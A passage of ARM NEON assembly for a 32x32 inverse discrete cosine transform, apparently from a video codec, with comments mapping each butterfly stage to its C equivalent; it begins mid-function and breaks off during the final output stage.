sub sp, sp, #512+2048+2048
; r6 = dest + 31 * dest_stride
; r7 = dest + 0 * dest_stride
; r9 = dest + 15 * dest_stride
; r10 = dest + 16 * dest_stride
rsb r6, r2, r2, lsl #5
rsb r9, r2, r2, lsl #4
add r10, r1, r2, lsl #4
mov r7, r1
add r6, r6, r1
add r9, r9, r1
; r11 = -dest_stride
neg r11, r2
; r3 = input
mov r3, r0
; parameters for first pass
; r0 = transpose_buffer[32 * 8]
add r0, sp, #4096
; r1 = pass1[32 * 32]
mov r1, sp
mov r5, #0 ; initialize pass loop counter
idct32_pass_loop
mov r4, #4 ; initialize bands loop counter
idct32_bands_loop
mov r8, #2 ; initialize transpose loop counter
idct32_transpose_pair_loop
; Load two horizontally consecutive 8x8 16bit data matrices. The first one
; into q0-q7 and the second one into q8-q15. There is a stride of 64,
; adjusted to 32 because of the two post-increments.
vld1.s16 {q8}, [r3]!
vld1.s16 {q0}, [r3]!
add r3, #32
vld1.s16 {q9}, [r3]!
vld1.s16 {q1}, [r3]!
add r3, #32
vld1.s16 {q10}, [r3]!
vld1.s16 {q2}, [r3]!
add r3, #32
vld1.s16 {q11}, [r3]!
vld1.s16 {q3}, [r3]!
add r3, #32
vld1.s16 {q12}, [r3]!
vld1.s16 {q4}, [r3]!
add r3, #32
vld1.s16 {q13}, [r3]!
vld1.s16 {q5}, [r3]!
add r3, #32
vld1.s16 {q14}, [r3]!
vld1.s16 {q6}, [r3]!
add r3, #32
vld1.s16 {q15}, [r3]!
vld1.s16 {q7}, [r3]!
; Transpose the two 8x8 16bit data matrices.
vswp d17, d24
vswp d23, d30
vswp d21, d28
vswp d19, d26
vswp d1, d8
vswp d7, d14
vswp d5, d12
vswp d3, d10
vtrn.32 q8, q10
vtrn.32 q9, q11
vtrn.32 q12, q14
vtrn.32 q13, q15
vtrn.32 q0, q2
vtrn.32 q1, q3
vtrn.32 q4, q6
vtrn.32 q5, q7
vtrn.16 q8, q9
vtrn.16 q10, q11
vtrn.16 q12, q13
vtrn.16 q14, q15
vtrn.16 q0, q1
vtrn.16 q2, q3
vtrn.16 q4, q5
vtrn.16 q6, q7
; Store both matrices after each other. There is a stride of 32, which
; adjusts to nothing because of the post-increments.
vst1.16 {q8}, [r0]!
vst1.16 {q9}, [r0]!
vst1.16 {q10}, [r0]!
vst1.16 {q11}, [r0]!
vst1.16 {q12}, [r0]!
vst1.16 {q13}, [r0]!
vst1.16 {q14}, [r0]!
vst1.16 {q15}, [r0]!
vst1.16 {q0}, [r0]!
vst1.16 {q1}, [r0]!
vst1.16 {q2}, [r0]!
vst1.16 {q3}, [r0]!
vst1.16 {q4}, [r0]!
vst1.16 {q5}, [r0]!
vst1.16 {q6}, [r0]!
vst1.16 {q7}, [r0]!
; increment pointers by adjusted stride (not necessary for r0/out)
; go back by 7*32 for the seven lines moved fully by read and add
; go back by 32 for the eigth line only read
; advance by 16*2 to go the next pair
sub r3, r3, #7*32*2 + 32 - 16*2
; transpose pair loop processing
subs r8, r8, #1
bne idct32_transpose_pair_loop
; restore r0/input to its original value
sub r0, r0, #32*8*2
; Instead of doing the transforms stage by stage, it is done by loading
; some input values and doing as many stages as possible to minimize the
; storing/loading of intermediate results. To fit within registers, the
; final coefficients are cut into four blocks:
; BLOCK A: 16-19,28-31
; BLOCK B: 20-23,24-27
; BLOCK C: 8-10,11-15
; BLOCK D: 0-3,4-7
; Blocks A and C are straight calculation through the various stages. In
; block B, further calculations are performed using the results from
; block A. In block D, further calculations are performed using the results
; from block C and then the final calculations are done using results from
; block A and B which have been combined at the end of block B.
; --------------------------------------------------------------------------
; BLOCK A: 16-19,28-31
; --------------------------------------------------------------------------
; generate 16,17,30,31
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[1 * 32] * cospi_31_64 - input[31 * 32] * cospi_1_64;
;temp2 = input[1 * 32] * cospi_1_64 + input[31 * 32] * cospi_31_64;
;step1b[16][i] = dct_const_round_shift(temp1);
;step1b[31][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 0, 1, 31
DO_BUTTERFLY_STD cospi_31_64, cospi_1_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[17 * 32] * cospi_15_64 - input[15 * 32] * cospi_17_64;
;temp2 = input[17 * 32] * cospi_17_64 + input[15 * 32] * cospi_15_64;
;step1b[17][i] = dct_const_round_shift(temp1);
;step1b[30][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 31, 17, 15
DO_BUTTERFLY_STD cospi_15_64, cospi_17_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[16] = step1b[16][i] + step1b[17][i];
;step2[17] = step1b[16][i] - step1b[17][i];
;step2[30] = -step1b[30][i] + step1b[31][i];
;step2[31] = step1b[30][i] + step1b[31][i];
vadd.s16 q4, q0, q1
vsub.s16 q13, q0, q1
vadd.s16 q6, q2, q3
vsub.s16 q14, q2, q3
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[30][i] * cospi_28_64 - step1b[17][i] * cospi_4_64;
;temp2 = step1b[30][i] * cospi_4_64 - step1b[17][i] * cospi_28_64;
;step3[17] = dct_const_round_shift(temp1);
;step3[30] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_28_64, cospi_4_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; generate 18,19,28,29
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[9 * 32] * cospi_23_64 - input[23 * 32] * cospi_9_64;
;temp2 = input[9 * 32] * cospi_9_64 + input[23 * 32] * cospi_23_64;
;step1b[18][i] = dct_const_round_shift(temp1);
;step1b[29][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 15, 9, 23
DO_BUTTERFLY_STD cospi_23_64, cospi_9_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[25 * 32] * cospi_7_64 - input[7 * 32] * cospi_25_64;
;temp2 = input[25 * 32] * cospi_25_64 + input[7 * 32] * cospi_7_64;
;step1b[19][i] = dct_const_round_shift(temp1);
;step1b[28][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 23, 25, 7
DO_BUTTERFLY_STD cospi_7_64, cospi_25_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[18] = -step1b[18][i] + step1b[19][i];
;step2[19] = step1b[18][i] + step1b[19][i];
;step2[28] = step1b[28][i] + step1b[29][i];
;step2[29] = step1b[28][i] - step1b[29][i];
vsub.s16 q13, q3, q2
vadd.s16 q3, q3, q2
vsub.s16 q14, q1, q0
vadd.s16 q2, q1, q0
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[18][i] * (-cospi_4_64) - step1b[29][i] * (-cospi_28_64);
;temp2 = step1b[18][i] * (-cospi_28_64) + step1b[29][i] * (-cospi_4_64);
;step3[29] = dct_const_round_shift(temp1);
;step3[18] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_4_64), (-cospi_28_64), d2, d3, d0, d1
; --------------------------------------------------------------------------
; combine 16-19,28-31
; --------------------------------------------------------------------------
; part of stage 4
;step1[16] = step1b[16][i] + step1b[19][i];
;step1[17] = step1b[17][i] + step1b[18][i];
;step1[18] = step1b[17][i] - step1b[18][i];
;step1[29] = step1b[30][i] - step1b[29][i];
;step1[30] = step1b[30][i] + step1b[29][i];
;step1[31] = step1b[31][i] + step1b[28][i];
vadd.s16 q8, q4, q2
vadd.s16 q9, q5, q0
vadd.s16 q10, q7, q1
vadd.s16 q15, q6, q3
vsub.s16 q13, q5, q0
vsub.s16 q14, q7, q1
STORE_IN_OUTPUT 0, 16, 31, q8, q15
STORE_IN_OUTPUT 31, 17, 30, q9, q10
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[29][i] * cospi_24_64 - step1b[18][i] * cospi_8_64;
;temp2 = step1b[29][i] * cospi_8_64 + step1b[18][i] * cospi_24_64;
;step2[18] = dct_const_round_shift(temp1);
;step2[29] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d0, d1, d2, d3
STORE_IN_OUTPUT 30, 29, 18, q1, q0
; --------------------------------------------------------------------------
; part of stage 4
;step1[19] = step1b[16][i] - step1b[19][i];
;step1[28] = step1b[31][i] - step1b[28][i];
vsub.s16 q13, q4, q2
vsub.s16 q14, q6, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[28][i] * cospi_24_64 - step1b[19][i] * cospi_8_64;
;temp2 = step1b[28][i] * cospi_8_64 + step1b[19][i] * cospi_24_64;
;step2[19] = dct_const_round_shift(temp1);
;step2[28] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d8, d9, d12, d13
STORE_IN_OUTPUT 18, 19, 28, q4, q6
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK B: 20-23,24-27
; --------------------------------------------------------------------------
; generate 20,21,26,27
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[5 * 32] * cospi_27_64 - input[27 * 32] * cospi_5_64;
;temp2 = input[5 * 32] * cospi_5_64 + input[27 * 32] * cospi_27_64;
;step1b[20][i] = dct_const_round_shift(temp1);
;step1b[27][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 7, 5, 27
DO_BUTTERFLY_STD cospi_27_64, cospi_5_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[21 * 32] * cospi_11_64 - input[11 * 32] * cospi_21_64;
;temp2 = input[21 * 32] * cospi_21_64 + input[11 * 32] * cospi_11_64;
;step1b[21][i] = dct_const_round_shift(temp1);
;step1b[26][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 27, 21, 11
DO_BUTTERFLY_STD cospi_11_64, cospi_21_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 2
;step2[20] = step1b[20][i] + step1b[21][i];
;step2[21] = step1b[20][i] - step1b[21][i];
;step2[26] = -step1b[26][i] + step1b[27][i];
;step2[27] = step1b[26][i] + step1b[27][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[26][i] * cospi_12_64 - step1b[21][i] * cospi_20_64;
;temp2 = step1b[26][i] * cospi_20_64 + step1b[21][i] * cospi_12_64;
;step3[21] = dct_const_round_shift(temp1);
;step3[26] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_12_64, cospi_20_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 22,23,24,25
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[13 * 32] * cospi_19_64 - input[19 * 32] * cospi_13_64;
;temp2 = input[13 * 32] * cospi_13_64 + input[19 * 32] * cospi_19_64;
;step1b[22][i] = dct_const_round_shift(temp1);
;step1b[25][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 11, 13, 19
DO_BUTTERFLY_STD cospi_19_64, cospi_13_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 1
;temp1 = input[29 * 32] * cospi_3_64 - input[3 * 32] * cospi_29_64;
;temp2 = input[29 * 32] * cospi_29_64 + input[3 * 32] * cospi_3_64;
;step1b[23][i] = dct_const_round_shift(temp1);
;step1b[24][i] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 19, 29, 3
DO_BUTTERFLY_STD cospi_3_64, cospi_29_64, d8, d9, d12, d13
; --------------------------------------------------------------------------
; part of stage 2
;step2[22] = -step1b[22][i] + step1b[23][i];
;step2[23] = step1b[22][i] + step1b[23][i];
;step2[24] = step1b[24][i] + step1b[25][i];
;step2[25] = step1b[24][i] - step1b[25][i];
vsub.s16 q14, q4, q5
vadd.s16 q5, q4, q5
vsub.s16 q13, q6, q7
vadd.s16 q6, q6, q7
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = step1b[22][i] * (-cospi_20_64) - step1b[25][i] * (-cospi_12_64);
;temp2 = step1b[22][i] * (-cospi_12_64) + step1b[25][i] * (-cospi_20_64);
;step3[25] = dct_const_round_shift(temp1);
;step3[22] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_20_64), (-cospi_12_64), d8, d9, d14, d15
; --------------------------------------------------------------------------
; combine 20-23,24-27
; --------------------------------------------------------------------------
; part of stage 4
;step1[22] = step1b[22][i] + step1b[21][i];
;step1[23] = step1b[23][i] + step1b[20][i];
vadd.s16 q10, q7, q1
vadd.s16 q11, q5, q0
;step1[24] = step1b[24][i] + step1b[27][i];
;step1[25] = step1b[25][i] + step1b[26][i];
vadd.s16 q12, q6, q2
vadd.s16 q15, q4, q3
; --------------------------------------------------------------------------
; part of stage 6
;step3[16] = step1b[16][i] + step1b[23][i];
;step3[17] = step1b[17][i] + step1b[22][i];
;step3[22] = step1b[17][i] - step1b[22][i];
;step3[23] = step1b[16][i] - step1b[23][i];
LOAD_FROM_OUTPUT 28, 16, 17, q14, q13
vadd.s16 q8, q14, q11
vadd.s16 q9, q13, q10
vsub.s16 q13, q13, q10
vsub.s16 q11, q14, q11
STORE_IN_OUTPUT 17, 17, 16, q9, q8
; --------------------------------------------------------------------------
; part of stage 6
;step3[24] = step1b[31][i] - step1b[24][i];
;step3[25] = step1b[30][i] - step1b[25][i];
;step3[30] = step1b[30][i] + step1b[25][i];
;step3[31] = step1b[31][i] + step1b[24][i];
LOAD_FROM_OUTPUT 16, 30, 31, q14, q9
vsub.s16 q8, q9, q12
vadd.s16 q10, q14, q15
vsub.s16 q14, q14, q15
vadd.s16 q12, q9, q12
STORE_IN_OUTPUT 31, 30, 31, q10, q12
; --------------------------------------------------------------------------
; TODO(cd) do some register allocation change to remove these push/pop
vpush {q8} ; [24]
vpush {q11} ; [23]
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[25][i] - step1b[22][i]) * cospi_16_64;
;temp2 = (step1b[25][i] + step1b[22][i]) * cospi_16_64;
;step1[22] = dct_const_round_shift(temp1);
;step1[25] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 31, 25, 22, q14, q13
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[24][i] - step1b[23][i]) * cospi_16_64;
;temp2 = (step1b[24][i] + step1b[23][i]) * cospi_16_64;
;step1[23] = dct_const_round_shift(temp1);
;step1[24] = dct_const_round_shift(temp2);
; TODO(cd) do some register allocation change to remove these push/pop
vpop {q13} ; [23]
vpop {q14} ; [24]
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 22, 24, 23, q14, q13
; --------------------------------------------------------------------------
; part of stage 4
;step1[20] = step1b[23][i] - step1b[20][i];
;step1[27] = step1b[24][i] - step1b[27][i];
vsub.s16 q14, q5, q0
vsub.s16 q13, q6, q2
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[20][i] * (-cospi_8_64) - step1b[27][i] * (-cospi_24_64);
;temp2 = step1b[20][i] * (-cospi_24_64) + step1b[27][i] * (-cospi_8_64);
;step2[27] = dct_const_round_shift(temp1);
;step2[20] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d10, d11, d12, d13
; --------------------------------------------------------------------------
; part of stage 4
;step1[21] = step1b[22][i] - step1b[21][i];
;step1[26] = step1b[25][i] - step1b[26][i];
vsub.s16 q14, q7, q1
vsub.s16 q13, q4, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = step1b[21][i] * (-cospi_8_64) - step1b[26][i] * (-cospi_24_64);
;temp2 = step1b[21][i] * (-cospi_24_64) + step1b[26][i] * (-cospi_8_64);
;step2[26] = dct_const_round_shift(temp1);
;step2[21] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d0, d1, d2, d3
; --------------------------------------------------------------------------
; part of stage 6
;step3[18] = step1b[18][i] + step1b[21][i];
;step3[19] = step1b[19][i] + step1b[20][i];
;step3[20] = step1b[19][i] - step1b[20][i];
;step3[21] = step1b[18][i] - step1b[21][i];
LOAD_FROM_OUTPUT 23, 18, 19, q14, q13
vadd.s16 q8, q14, q1
vadd.s16 q9, q13, q6
vsub.s16 q13, q13, q6
vsub.s16 q1, q14, q1
STORE_IN_OUTPUT 19, 18, 19, q8, q9
; --------------------------------------------------------------------------
; part of stage 6
;step3[27] = step1b[28][i] - step1b[27][i];
;step3[28] = step1b[28][i] + step1b[27][i];
;step3[29] = step1b[29][i] + step1b[26][i];
;step3[26] = step1b[29][i] - step1b[26][i];
LOAD_FROM_OUTPUT 19, 28, 29, q8, q9
vsub.s16 q14, q8, q5
vadd.s16 q10, q8, q5
vadd.s16 q11, q9, q0
vsub.s16 q0, q9, q0
STORE_IN_OUTPUT 29, 28, 29, q10, q11
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[27][i] - step1b[20][i]) * cospi_16_64;
;temp2 = (step1b[27][i] + step1b[20][i]) * cospi_16_64;
;step1[20] = dct_const_round_shift(temp1);
;step1[27] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d26, d27, d28, d29
STORE_IN_OUTPUT 29, 20, 27, q13, q14
; --------------------------------------------------------------------------
; part of stage 7
;temp1 = (step1b[26][i] - step1b[21][i]) * cospi_16_64;
;temp2 = (step1b[26][i] + step1b[21][i]) * cospi_16_64;
;step1[21] = dct_const_round_shift(temp1);
;step1[26] = dct_const_round_shift(temp2);
DO_BUTTERFLY d0, d1, d2, d3, cospi_16_64, cospi_16_64, d2, d3, d0, d1
STORE_IN_OUTPUT 27, 21, 26, q1, q0
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK C: 8-10,11-15
; --------------------------------------------------------------------------
; generate 8,9,14,15
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[2 * 32] * cospi_30_64 - input[30 * 32] * cospi_2_64;
;temp2 = input[2 * 32] * cospi_2_64 + input[30 * 32] * cospi_30_64;
;step2[8] = dct_const_round_shift(temp1);
;step2[15] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 3, 2, 30
DO_BUTTERFLY_STD cospi_30_64, cospi_2_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[18 * 32] * cospi_14_64 - input[14 * 32] * cospi_18_64;
;temp2 = input[18 * 32] * cospi_18_64 + input[14 * 32] * cospi_14_64;
;step2[9] = dct_const_round_shift(temp1);
;step2[14] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 30, 18, 14
DO_BUTTERFLY_STD cospi_14_64, cospi_18_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 3
;step3[8] = step1b[8][i] + step1b[9][i];
;step3[9] = step1b[8][i] - step1b[9][i];
;step3[14] = step1b[15][i] - step1b[14][i];
;step3[15] = step1b[15][i] + step1b[14][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = step1b[14][i] * cospi_24_64 - step1b[9][i] * cospi_8_64;
;temp2 = step1b[14][i] * cospi_8_64 + step1b[9][i] * cospi_24_64;
;step1[9] = dct_const_round_shift(temp1);
;step1[14] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 10,11,12,13
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[10 * 32] * cospi_22_64 - input[22 * 32] * cospi_10_64;
;temp2 = input[10 * 32] * cospi_10_64 + input[22 * 32] * cospi_22_64;
;step2[10] = dct_const_round_shift(temp1);
;step2[13] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 14, 10, 22
DO_BUTTERFLY_STD cospi_22_64, cospi_10_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 2
;temp1 = input[26 * 32] * cospi_6_64 - input[6 * 32] * cospi_26_64;
;temp2 = input[26 * 32] * cospi_26_64 + input[6 * 32] * cospi_6_64;
;step2[11] = dct_const_round_shift(temp1);
;step2[12] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 22, 26, 6
DO_BUTTERFLY_STD cospi_6_64, cospi_26_64, d8, d9, d12, d13
; --------------------------------------------------------------------------
; part of stage 3
;step3[10] = step1b[11][i] - step1b[10][i];
;step3[11] = step1b[11][i] + step1b[10][i];
;step3[12] = step1b[12][i] + step1b[13][i];
;step3[13] = step1b[12][i] - step1b[13][i];
vsub.s16 q14, q4, q5
vadd.s16 q5, q4, q5
vsub.s16 q13, q6, q7
vadd.s16 q6, q6, q7
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = step1b[10][i] * (-cospi_8_64) - step1b[13][i] * (-cospi_24_64);
;temp2 = step1b[10][i] * (-cospi_24_64) + step1b[13][i] * (-cospi_8_64);
;step1[13] = dct_const_round_shift(temp1);
;step1[10] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD (-cospi_8_64), (-cospi_24_64), d8, d9, d14, d15
; --------------------------------------------------------------------------
; combine 8-10,11-15
; --------------------------------------------------------------------------
; part of stage 5
;step2[8] = step1b[8][i] + step1b[11][i];
;step2[9] = step1b[9][i] + step1b[10][i];
;step2[10] = step1b[9][i] - step1b[10][i];
vadd.s16 q8, q0, q5
vadd.s16 q9, q1, q7
vsub.s16 q13, q1, q7
;step2[13] = step1b[14][i] - step1b[13][i];
;step2[14] = step1b[14][i] + step1b[13][i];
;step2[15] = step1b[15][i] + step1b[12][i];
vsub.s16 q14, q3, q4
vadd.s16 q10, q3, q4
vadd.s16 q15, q2, q6
STORE_IN_OUTPUT 26, 8, 15, q8, q15
STORE_IN_OUTPUT 15, 9, 14, q9, q10
; --------------------------------------------------------------------------
; part of stage 6
;temp1 = (step1b[13][i] - step1b[10][i]) * cospi_16_64;
;temp2 = (step1b[13][i] + step1b[10][i]) * cospi_16_64;
;step3[10] = dct_const_round_shift(temp1);
;step3[13] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
STORE_IN_OUTPUT 14, 13, 10, q3, q1
; --------------------------------------------------------------------------
; part of stage 5
;step2[11] = step1b[8][i] - step1b[11][i];
;step2[12] = step1b[15][i] - step1b[12][i];
vsub.s16 q13, q0, q5
vsub.s16 q14, q2, q6
; --------------------------------------------------------------------------
; part of stage 6
;temp1 = (step1b[12][i] - step1b[11][i]) * cospi_16_64;
;temp2 = (step1b[12][i] + step1b[11][i]) * cospi_16_64;
;step3[11] = dct_const_round_shift(temp1);
;step3[12] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
STORE_IN_OUTPUT 10, 11, 12, q1, q3
; --------------------------------------------------------------------------
; --------------------------------------------------------------------------
; BLOCK D: 0-3,4-7
; --------------------------------------------------------------------------
; generate 4,5,6,7
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = input[4 * 32] * cospi_28_64 - input[28 * 32] * cospi_4_64;
;temp2 = input[4 * 32] * cospi_4_64 + input[28 * 32] * cospi_28_64;
;step3[4] = dct_const_round_shift(temp1);
;step3[7] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 6, 4, 28
DO_BUTTERFLY_STD cospi_28_64, cospi_4_64, d0, d1, d4, d5
; --------------------------------------------------------------------------
; part of stage 3
;temp1 = input[20 * 32] * cospi_12_64 - input[12 * 32] * cospi_20_64;
;temp2 = input[20 * 32] * cospi_20_64 + input[12 * 32] * cospi_12_64;
;step3[5] = dct_const_round_shift(temp1);
;step3[6] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 28, 20, 12
DO_BUTTERFLY_STD cospi_12_64, cospi_20_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; part of stage 4
;step1[4] = step1b[4][i] + step1b[5][i];
;step1[5] = step1b[4][i] - step1b[5][i];
;step1[6] = step1b[7][i] - step1b[6][i];
;step1[7] = step1b[7][i] + step1b[6][i];
vsub.s16 q13, q0, q1
vadd.s16 q0, q0, q1
vsub.s16 q14, q2, q3
vadd.s16 q2, q2, q3
; --------------------------------------------------------------------------
; part of stage 5
;temp1 = (step1b[6][i] - step1b[5][i]) * cospi_16_64;
;temp2 = (step1b[5][i] + step1b[6][i]) * cospi_16_64;
;step2[5] = dct_const_round_shift(temp1);
;step2[6] = dct_const_round_shift(temp2);
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d2, d3, d6, d7
; --------------------------------------------------------------------------
; generate 0,1,2,3
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = (input[0 * 32] - input[16 * 32]) * cospi_16_64;
;temp2 = (input[0 * 32] + input[16 * 32]) * cospi_16_64;
;step1[1] = dct_const_round_shift(temp1);
;step1[0] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 12, 0, 16
DO_BUTTERFLY_STD cospi_16_64, cospi_16_64, d10, d11, d14, d15
; --------------------------------------------------------------------------
; part of stage 4
;temp1 = input[8 * 32] * cospi_24_64 - input[24 * 32] * cospi_8_64;
;temp2 = input[8 * 32] * cospi_8_64 + input[24 * 32] * cospi_24_64;
;step1[2] = dct_const_round_shift(temp1);
;step1[3] = dct_const_round_shift(temp2);
LOAD_FROM_TRANSPOSED 16, 8, 24
DO_BUTTERFLY_STD cospi_24_64, cospi_8_64, d28, d29, d12, d13
; --------------------------------------------------------------------------
; part of stage 5
;step2[0] = step1b[0][i] + step1b[3][i];
;step2[1] = step1b[1][i] + step1b[2][i];
;step2[2] = step1b[1][i] - step1b[2][i];
;step2[3] = step1b[0][i] - step1b[3][i];
vadd.s16 q4, q7, q6
vsub.s16 q7, q7, q6
vsub.s16 q6, q5, q14
vadd.s16 q5, q5, q14
; --------------------------------------------------------------------------
; combine 0-3,4-7
; --------------------------------------------------------------------------
; part of stage 6
;step3[0] = step1b[0][i] + step1b[7][i];
;step3[1] = step1b[1][i] + step1b[6][i];
;step3[2] = step1b[2][i] + step1b[5][i];
;step3[3] = step1b[3][i] + step1b[4][i];
vadd.s16 q8, q4, q2
vadd.s16 q9, q5, q3
vadd.s16 q10, q6, q1
vadd.s16 q11, q7, q0
;step3[4] = step1b[3][i] - step1b[4][i];
;step3[5] = step1b[2][i] - step1b[5][i];
;step3[6] = step1b[1][i] - step1b[6][i];
;step3[7] = step1b[0][i] - step1b[7][i];
vsub.s16 q12, q7, q0
vsub.s16 q13, q6, q1
vsub.s16 q14, q5, q3
vsub.s16 q15, q4, q2
; --------------------------------------------------------------------------
; part of stage 7
;step1[0] = step1b[0][i] + step1b[15][i];
;step1[1] = step1b[1][i] + step1b[14][i];
;step1[14] = step1b[1][i] - step1b[14][i];
;step1[15] = step1b[0][i] - step1b[15][i];
LOAD_FROM_OUTPUT 12, 14, 15, q0, q1
vadd.s16 q2, q8, q1
vadd.s16 q3, q9, q0
vsub.s16 q4, q9, q0
vsub.s16 q5, q8, q1
; --------------------------------------------------------------------------
; part of final stage
;output[14 * 32] = step1b[14][i] + step1b[17][i];
;output[15 * 32] = step1b[15][i] + step1b[16][i];
;output[16 * 32] = step1b[15][i] - step1b[16][i];
;output[17 * 32] = step1b[14][i] - step1b[17][i];
LOAD_FROM_OUTPUT 15, 16, 17, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
cmp r5, #0
bgt idct32_bands_end_2nd_pass
idct32_bands_end_1st_pass
STORE_IN_OUTPUT 17, 16, 17, q6, q7
STORE_IN_OUTPUT 17, 14, 15, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 0 * 32] = step1b[0][i] + step1b[31][i];
;output[ 1 * 32] = step1b[1][i] + step1b[30][i];
;output[30 * 32] = step1b[1][i] - step1b[30][i];
;output[31 * 32] = step1b[0][i] - step1b[31][i];
LOAD_FROM_OUTPUT 15, 30, 31, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 31, 30, 31, q6, q7
STORE_IN_OUTPUT 31, 0, 1, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
;step1[2] = step1b[2][i] + step1b[13][i];
;step1[3] = step1b[3][i] + step1b[12][i];
;step1[12] = step1b[3][i] - step1b[12][i];
;step1[13] = step1b[2][i] - step1b[13][i];
LOAD_FROM_OUTPUT 1, 12, 13, q0, q1
vadd.s16 q2, q10, q1
vadd.s16 q3, q11, q0
vsub.s16 q4, q11, q0
vsub.s16 q5, q10, q1
; --------------------------------------------------------------------------
; part of final stage
;output[12 * 32] = step1b[12][i] + step1b[19][i];
;output[13 * 32] = step1b[13][i] + step1b[18][i];
;output[18 * 32] = step1b[13][i] - step1b[18][i];
;output[19 * 32] = step1b[12][i] - step1b[19][i];
LOAD_FROM_OUTPUT 13, 18, 19, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 19, 18, 19, q6, q7
STORE_IN_OUTPUT 19, 12, 13, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 2 * 32] = step1b[2][i] + step1b[29][i];
;output[ 3 * 32] = step1b[3][i] + step1b[28][i];
;output[28 * 32] = step1b[3][i] - step1b[28][i];
;output[29 * 32] = step1b[2][i] - step1b[29][i];
